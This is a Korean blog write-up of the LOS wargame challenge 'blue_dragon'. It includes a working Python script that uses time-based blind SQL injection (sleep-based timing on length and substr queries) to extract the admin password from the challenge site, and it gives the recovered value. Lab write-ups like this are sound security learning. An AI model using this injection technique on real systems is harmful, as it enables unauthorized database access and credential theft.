반응형
문제
문제풀이
id가 admin인 pw를 알아내면 된다.
작은 따옴표가 필터링되어 구문을 조작하여 알아낼 수가 없다.
위 코드를 보면 query문을 전송하고, 그 다음에 preg_match()를 통해 필터링한다.
이를 이용해서 time based injection이 가능하다.
import requests
import time
cookie = {'PHPSESSID':'13l0s9eggfb6mttoaqkr15jkhu'}
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?"
# flag_len
flag_len = 0
for i in range(50):
query = "id=admin' and if(length(pw)={},sleep(3),2)%23".format(i)
pre_time = time.time()
res = requests.get(url + query, cookies = cookie)
cur_time = time.time()
if cur_time - pre_time >= 3:
flag_len = i
break
print("flag_len : {}".format(flag_len))
flag = ""
for i in range(1, flag_len + 1):
for j in range(33, 128):
query = "id=admin' and if(ascii(substr(pw,{},1))={},sleep(3),2)%23".format(i, j)
pre_time = time.time()
res = requests.get(url + query, cookies = cookie)
cur_time = time.time()
if (cur_time - pre_time >= 3):
flag += chr(j)
print(flag)
break
print("flag : {}".format(flag))
pw는 d948b8a0이다.
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] phantom (0) | 2023.11.04 |
---|---|
[LOS] frankenstein (0) | 2023.11.04 |
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] green_dragon (0) | 2023.01.28 |
[LOS] evil_wizard (0) | 2023.01.25 |